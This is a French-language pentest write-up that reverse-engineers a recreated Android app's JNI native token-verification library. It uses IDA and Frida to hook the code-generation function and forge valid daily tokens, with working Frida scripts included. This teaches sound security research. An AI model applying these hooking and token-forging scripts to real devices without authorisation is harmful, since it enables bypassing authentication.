À l’occasion d’un de mes derniers pentests, je récupérais les prérequis contenant l’ensemble des informations nécessaires au bon déroulement de l’audit.
Ces documents contiennent notamment :
- Le périmètre afin de ne pas arroser les plate-bandes des voisins
- Les comptes utilisateurs pour la partie boîte grise
- D’autres données en lien avec le contexte de l’audit
Fort heureux d’être en possession de ces données avant le lundi matin, mon œil est attiré par une liste de token avant même que mes doigts aient la possibilité d’effectuer le ALT + F4 du vendredi 16h59.
Au lieu du traditionnel pentest/pentest1234
, chaque utilisateur possède une liste de 10 tokens, correspondant à 1 par jour d’audit. Agréablement surpris, retour à la réalité, 17h03, ALT-F4, envoi de la fiche d’heure supp’ et mot doux pour mes collègues.
Contexte
Une partie de cet audit concerne des boîtiers physiques sous Android avec lesquels les clients finaux interagissent via un écran. Ces boîtiers sont administrés via une interface web accessible derrière une authentification.
Quelques vulnérabilités me permettent de passer root sur la machine. Comme toujours un audit ne s’arrête pas là, le but étant d’être le plus exhaustif possible concernant les vulnérabilités présentes. Quelques jours passent et me voilà enfin rendu à l’analyse des mécanismes d’authentification.
Ayant récupéré l’APK du service, il m’est facile de parcourir l’ensemble des classes et méthodes Java à la recherche de celles en lien avec l’authentification. Grâce à quelques références, j’identifie la fonction prenant le nom d’utilisateur et le token du jour ; cependant, la fonction de vérification appelée n’est pas présente dans l’APK.
Cette dernière est chargée depuis une librairie externe via l’appel suivant :
System.loadLibrary('client');
Cette pratique consiste à exécuter du code natif (C/C++) et de récupérer le résultat au sein du contexte d’une application Java. La Java Native Interface (JNI) est une partie du Java Development Kit (JDK) qui permet à la Java Virtual Machine (JVM) d’appeler et d’être appelée par des applications natives (développées en C/C++). Cette pratique peut ainsi être exploitée lors de développement Android.
Le but de ces opérations sont multiples :
- Utiliser des librairies non disponibles en Java, pour de l’interaction avec le matériel par exemple
- Dialoguer avec des applications développées nativement
- Gagner en performance d’exécution (natif est par définition plus rapide qu’un langage s’exécutant via un autre programme)
- Obfusquer / cacher des parties du code plus sensibles
Aujourd’hui, c’est cette dernière raison qui va nous pousser à découvrir les mécanismes liés à JNI. En effet, il y a fort à parier que le caractère sensible de la méthode de vérification des tokens a poussé les développeurs à concevoir une application JNI plutôt qu’une classe Java.
Afin de préserver le caractère confidentiel des résultats d’audit, j’ai recréé un environnement similaire en développant une APK et une fonctionnalité de vérification de tokens.
Analyse préliminaire
L’application cible se nomme ainsi "Acceis 8.6 connected beer tape" : cette application développée en Java en interne et s’exécutant directement sur une tireuse à bière connectée permet aux employés d’ACCEIS de récupérer leur quota quotidien de fine bière.
Afin de préserver ces précieux litres des collègues peu scrupuleux et de disposer d’un quota journalier de boisson, un mécanisme d’authentification avec un code quotidien a été mis en place. Ces codes sont générés uniquement pour les jours ouvrés, ce qui est problématique car cela m’empêche de passer au bureau récupérer mon quota lors de mes congés.
Le but est alors d’analyser la fonctionnalité de vérification du token afin de trouver une vulnérabilité me permettant d’outrepasser la vérification ou alors, trouver un moyen de générer moi-même des codes !
Récupération et analyse des sources
Des vulnérabilités matérielles me permettent de prendre la main sur la tireuse connectée et d’obtenir un shell. Je m’y connecte ainsi via a
d
b
et part à la recherche du service d’authentification.
En listant les processus, on s’aperçoit qu’un processus nommé com.example.acceis_auth
existe. Une recherche des APK existant dans un répertoire possédant ce nom nous indique qu’une application est disponible dans le répertoire com.example.acceis_auth-pNQZdceAhD_3ReADOyzfaA==
Depuis Android Oreo, les APK sont installés dans des dossiers avec des noms générés en partie aléatoirement https://stackoverflow.com/questions/47958947/base64-apk-path
En listant les fichiers de ce répertoire on trouve ledit APK mais également une librairie native libacceis_auth.so.
adb pull
, on transfert les deux fichiers sur notre machine et on commence la rétro-ingénierie. JADX est un decompiler avec une interface graphique qui va automatiser l’extraction des différentes ressources de l’APK étant donné que ce dernier est une archive contenant différents types de fichiers.
$ unzip -l data/base.apk | head
Archive: data/base.apk
Length Date Time Name
--------- ---------- ----- ----
4632 1981-01-01 01:01 classes4.dex
56 1981-01-01 01:01 META-INF/com/android/build/gradle/app-metadata.properties
2632 1981-01-01 01:01 classes3.dex
210576 1981-01-01 01:01 lib/x86/libacceis_auth.so
468088 1981-01-01 01:01 classes2.dex
3168 1981-01-01 01:01 AndroidManifest.xml
L’analyse du format des données de l’APK n’est pas le propos de l’article et passe donc cette partie.
L’activité principale est très simpliste, il s’agit simplement d’un callback déclenché par le clic sur le bouton « connexion ». Lorsque le bouton est cliqué, les valeurs entrées par l’utilisateur dans les champs noms d’utilisateur et passwords sont récupérées.
Du pseudo-padding PKCS#5
est rajouté au username via la méthode pad
afin que l’utilisateur soit toujours d’une longueur de 8 caractères. La date actuelle est également récupérée puis mise sous la forme d’un integer : 23/04/2022 => 230422
.
String message = mainActivity.checkAuth(mainActivity.pad(username).getBytes(), password, currentDate) == 0 ? "Welcome " + username : "Authentication failed";
Les paramètres passés sont de types bytes[], bytes[], int
et la méthode retourne l’integer 0
si l’authentification est réussie. Dans ce cas positif, le message Welcome {username}
est affiché sur le layout.
Un peu avant la méthode onCreate
, on retrouve deux parties intéressantes :
public native int checkAuth(byte[] bArr, byte[] bArr2, int i);
static {
System.loadLibrary("acceis_auth");
}
La première partie est le prototype de la fonction de vérification présente dans la librairie libacceis_auth.so.
Le prototype doit être présent afin que l’APK possède la référence à la compilation bien que son adresse ne soit renseignée qu’au runtime.La seconde partie est le chargement de la librairie
libacceis_auth.so
dans l’espace mémoire du service. Le nom utilisé est dit « non-décorée » car on ne mentionne que acceis_auth
lors de l’appel de la fonction. C’est dû en partie au fait que la méthode System.loadLibrary
soit indépendante de la plateforme (Linux, Windows) et, dans le cas présent, le fichier cherché est libacceis_auth.so
mais aurait été acceis_auth.dll
sous Windows.
Analyse de la librairie native
L’application ne contient rien d’autre d’intéressant, il est temps d’analyserlibacceis_auth.so
.
Une fois chargé dans notre décompilateur favori, on note la présence de la fonction Java_com_example_acceis_1auth_MainActivity_checkAuth
.
- Java_
- Le nom complet décorée de la classe (name mangling)
- _ Le nom décorée de la méthode
-fvisibility=hidden
! De ce fait, tous les symboles qui ne sont pas explicitement marqués avec un attribut de visibilité (comme default
) ne seront pas présents dans le fichier ELF.
La fonction Java_com_example_acceis_1auth_MainActivity_checkAuth
utilise dans son code C++ la macro préprocesseur suivante JNIEXPORT
qui correspond à #define JNIEXPORT __attribute__ ((visibility ("default")))
. C’est la raison pour laquelle son symbole est présent dans la librairie.Cette macro est obligatoire pour toutes les fonctions appelées par l’application car le symbole est utilisé pour enregistrer la fonction native via l’appel à
RegisterNatives
dans la JVM et ensuite pour résoudre l’adresse de la fonction.
$ nm --demangle --dynamic data/libacceis_auth.so | grep acceis
00008980 T Java_com_example_acceis_1auth_MainActivity_checkAuth
00008650 T Java_com_example_acceis_1auth_MainActivity_stringFromJNI
- https://stackoverflow.com/questions/19422660/when-to-use-jniexport-and-jnicall-in-android-ndk
- https://gcc.gnu.org/wiki/Visibility
compute_today_password
a été identifiée comme la fonction qui vérifie si le token du jour est valide et dont le résultat booléen est retourné à l’application Java. Malheureusement, nous ne connaissons pas encore les deux premiers arguments de cette fonction, v9
et v7
.
Ces deux arguments résultent de l’appel à la fonction sub_8AF0
et sub_8B60
. En analysant ces deux fonctions on remarque un pattern :
int __cdecl sub_8AF0(int a1, int a2, int a3)
{
return (*(int (__cdecl **)(int, int, int))(*(_DWORD *)a1 + 736))(a1, a2, a3);
}
int __cdecl sub_8B60(int a1, int a2)
{
return (*(int (__cdecl **)(int, int))(*(_DWORD *)a1 + 684))(a1, a2);
}
Les deux fonctions utilisent un offset sur le premier paramètre afin d’accéder à une fonction puis de l’exécuter avec le reste des paramètres.
Ce pattern en C est typique de l’appel d’une fonction présente dans une structure. a1
semble donc être une structure dont nous n’avons pas la définition, 736
et 684
deux offsets correspondant à deux fonctions différentes.Il s’agit ici de l’appel à des fonctions JNI. Ces fonctions permettent d’interagir avec l’interface JNI comme par exemple les structures (types) définies par l’interface (
jbyte
, jarray
, jshort
, …).Le premier paramètre,
a1
(ou env
déjà renommé dans la fonction principale), est un pointeur sur une instance de la structure JNIEnv
. Cette instance contient notamment une structure répertoriant l’ensemble des fonctions JNI disponibles.Ainsi les appels via les
736
et 684
correspondent à des appels à fonctions JNI spécifiques. Une table des correspondances offset:fonction
est disponible ici : https://docs.google.com/spreadsheets/d/1yqjFaY7mqyVIDs5jNjGLT-G8pUaRATzHWGFUgpdJRq8/edit#gid=0.
On détermine alors que la fonction sub_8AF0
appel jbyte* (*GetByteArrayElements)(JNIEnv*, jbyteArray, jboolean*)
et sub_8B60
appel jsize (*GetArrayLength)(JNIEnv*, jarray)
.
- https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html
- https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/types.html
- https://en.wikipedia.org/wiki/Java_Native_Interface#:~:text=The%20JNI%20framework%20lets%20a,created%20by%20Java%20application%20code
Ajout des symboles JNI dans IDA
- File
- Load File
- Parse C Header File et sélection du fichier
jni_ida_definitions.h
- Structures
- Appuyer sur INS
- Add standard structure
- Selectionner _JNIEnv
le renommage de sub_8AF0 et sub_8B60 a été fait manuellement.
Du coté de l’appel des fonctions JNI, on remarque une certaine lisibilité retrouvée.
jbyte *__cdecl sub_8AF0(_JNIEnv *env, jbyteArray username, int isCopy)
{
return env->functions->GetByteArrayElements(env, username, isCopy);
}
jsize __cdecl call_jni_GetArrayLength(_JNIEnv *env, jarray username)
{
return env->functions->GetArrayLength((JNIEnv *)env, username);
}
Il s’agit bien des deux fonctions identifiées préalablement. Le code est maintenant plus clair et on identifie les deux premiers arguments qui sont respectivement l’username et sa longueur.La fonction JNI
GetByteArrayElements
a permis de convertir le type jbyteArray
vers le type jbyte *
et GetArrayLength
de récupérer la taille de ce tableau. Ces deux types peuvent être castés vers des types natifs sans problèmes comme dans la fonction compute_today_password
.Le processus de vérification de l’authentification parait maintenant simple, l’appareil génère le token du jour via l’username fourni et la date du système puis le compare avec le token fourni par l’utilisateur.
Cela nous facilite la tâche, il n’y a pas besoin de comprendre comment le token est vérifié, la librairie est capable d’en générer des valides !
Introspection avec Frida
Il existe maintenant plusieurs méthodes pour générer des tokens :- Implémenter la fonction
compute_today_password
en python - Écrire un programme C ou Java qui appel la méthode de la librairie
- Émuler la fonction via unicorn engine en python
- Utiliser Frida sur la machine et appeler directement la fonction via Javascript / Python
Dans le contexte originale l’architecture cible était ARMEABI 5, notre tireuse est en x86.
Frida est un outil permettant d’instrumentaliser dynamiquement le code d’applications natives ou non. De façon brève, il injecte une partie de son code dans la mémoire d’un autre processus et expose une interface en javascript pour interagir avec le processus dans lequel il est injecté.
Frida est ainsi parfait dans notre contexte, nous avons accès au processus et pouvons donc injecter Frida. Une fois injecté, nous pourrons développer un script JS permettant d’appeler la fonction native qui sera déjà chargée dans la mémoire du processus. Ainsi, nul besoin de compiler ou émuler quoi que ce soit.
La première étape est de télécharger le serveur Frida pour notre architecture : https://github.com/frida/frida/releases/download/15.1.17/frida-server-15.1.17-android-x86.xz
Puis de l’installer sur notre cybertireuse.
Une fois le serveur lancé,
frida-ps
nous permet de lister les processus actuellement en exécution. On indique alors à Frida de s’injecter dans le processus acceis_auth
via frida -U acceis_auth
.Une fois injecté nous avons accès au processus via l’interface de Frida. La fonction
Process.enumerateModules
de l’API Frida permet de lister les modules chargée et leurs informations. On remarque alors que la librairie libacceis_auth.so
est chargée à l’adresse 0xc3f80000
. On pourrait rebaser le segment .text
dans IDA afin d’avoir les bonnes adresses de fonction mais passons.
Attention, si vous ne voyez pas le module cible dans la liste des modules c’est qu’il n’a pas été chargé. Le chargement du module n’est pas automatique et est réalisé lors de l’exécution System.loadLibrary. Si l’application crash et vient de redémarrer le code se chargeant de charger la librairie n’a peut être pas encore été déclenché.
Frida propose des fonctionnalités pour hooker des fonctions, cela permet d’exécuter du code avant et après l’appel à la fonction afin d’en détourner le fonctionnement ou simplement à des fins d’observation.
Pour hooker une fonction il est nécessaire de récupérer son adresse en mémoire. La fonction se trouve à l’adresse mémoire à laquelle est chargée sa librairie + l’offset de la fonction dans la libraire.
base_addr = 0xc3f80000
offset = 0x88E0 ; récupéré via IDA
compute_today_password = base_addr + offset = 0xc3f888e0
Normalement la méthodeModule.findExportByName(module, fonction)
permet de récupérer l’adresse de la fonction par son nom. Cependant, dans le cas présent le symbole decompute_today_password
n’est pas présent.
Frida nous permet de faire ce calcul pour nous.
Java.perform(function () {
var libacceis = Process.enumerateModules().filter((item) => { return item["name"] == "libacceis_auth.so" })[0]
var addr = libacceis.base.add(0x88e0)
console.log(addr)
})
Indiquons à Frida d’exécuter notre bout de code Javascript via : frida -U acceis_auth -l scripts/watcher.js
____
/ _ | Frida 15.1.17 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://frida.re/docs/home/
. . . .
. . . . Connected to Android Emulator 5554 (id=emulator-5554)
Attaching...
0xc3f888e0
[Android Emulator 5554::acceis_auth ]->
Hook de la génération de tokens
Nous allons maintenant hooker la fonctioncompute_today_password
afin de consulter ces paramètres et modifications effectuées en mémoire.
Java.perform(function () {
var libacceis = Process.enumerateModules().filter((item) => { return item["name"] == "libacceis_auth.so" })[0]
var addr = libacceis.base.add(0x88e0)
Interceptor.attach(addr, {
onEnter: function(args) {
var username_addr = args[0]
var username_size = args[1]
var current_date = args[2]
this.buffer = args[3]
var username = Memory.readCString(username_addr, username_size.toUInt32())
console.log('[before]')
console.log("username: " + username)
console.log("date: " + current_date.toUInt32())
console.log('')
},
onLeave: function(retval) {
var generated_code = Memory.readByteArray(this.buffer, 8);
var code = Array.from(new Uint8Array(generated_code)).map((item) => item.toString(16)).join("")
console.log('[before]')
console.log("generated code: " + code)
console.log(generated_code)
}
})
})
Une fois le script chargé, nous avons plus qu’à nous authentifier, peu importe le mot de passe, afin que le service génère le token et que Frida nous l’affiche gentiment.
Appel de la fonction native avec Frida
Nous avons volé le code du jour ! Cependant, il est souhaitable d’obtenir des codes à l’avance afin de ne pas nous connecter à la tireuse chaque jour (ça fait du bruit dans les logs).Pour cela on peut passer par Frida pour effectuer nous même les appels à la fonction.
Java.perform(function () {
var libacceis = Process.enumerateModules().filter((item) => { return item["name"] == "libacceis_auth.so" })[0]
var addr = libacceis.base.add(0x88e0)
var generate_new_code = new NativeFunction(addr, 'void', ['pointer', 'int', 'int', 'pointer'])
var username = Memory.allocUtf8String("switch22");
var buffer = Memory.alloc(8)
var date = '042022'
var today = 23
for (var i = 0; i < 7; i++) {
var day = today + i
generate_new_code(username, 8, parseInt(day + date, 10), buffer)
var generated_code = Memory.readByteArray(buffer, 8)
var code = Array.from(new Uint8Array(generated_code)).map((item) => item.toString(16)).join("")
console.log("code du " + day + "/04/2022 : " + code)
}
})
Changeons la date du système pour le 26 Avril 2022 et demandons à Frida de nous générer les codes des 7 prochains jours.
Frida a ainsi simplement généré 7 codes valides en appelant la fonction et incrémentant la date.
____
/ _ | Frida 15.1.17 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://frida.re/docs/home/
. . . .
. . . . Connected to Android Emulator 5554 (id=emulator-5554)
Attaching...
code du 23/04/2022 : 95e0367585ff6d33
code du 24/04/2022 : 55ad77545b25c33
code du 25/04/2022 : 156b17755744c33
code du 26/04/2022 : d529e475c536bf33
code du 27/04/2022 : 95d7f57585c8ae33
code du 28/04/2022 : 5594c275458b9933
code du 29/04/2022 : 1552d27554d8933
Les codes générés sont peu aléatoires, un reverse engineering de la fonction de génération du code et sa cryptanalyse aurait pu nous mener simplement à ce même résultat. Il faut cependant garder à l’esprit que l’application originale possède une fonction bien plus velue.
Nous voici ainsi avec de la bière pendant nos congés et avec une disclosure éthique et responsable à écrire.
Ressources
- https://erev0s.com/blog/how-hook-android-native-methods-frida-noob-friendly/
- https://frida.re/docs/javascript-api/
- https://developer.android.com/training/articles/perf-jni#general-tips
- https://riptutorial.com/android/example/14535/how-to-call-functions-in-a-native-library-via-the-jni-interface
- https://book.hacktricks.xyz/mobile-apps-pentesting/android-app-pentesting/reversing-native-libraries
- https://poxyran.github.io/poxyblog/src/pages/02-11-2019-calling-native-functions-with-frida.html#readprocessmemory1
- https://neo-geo2.gitbook.io/adventures-on-security/frida-scripting-guide/primitive-types
- https://www3.ntu.edu.sg/home/ehchua/programming/java/javanativeinterface.html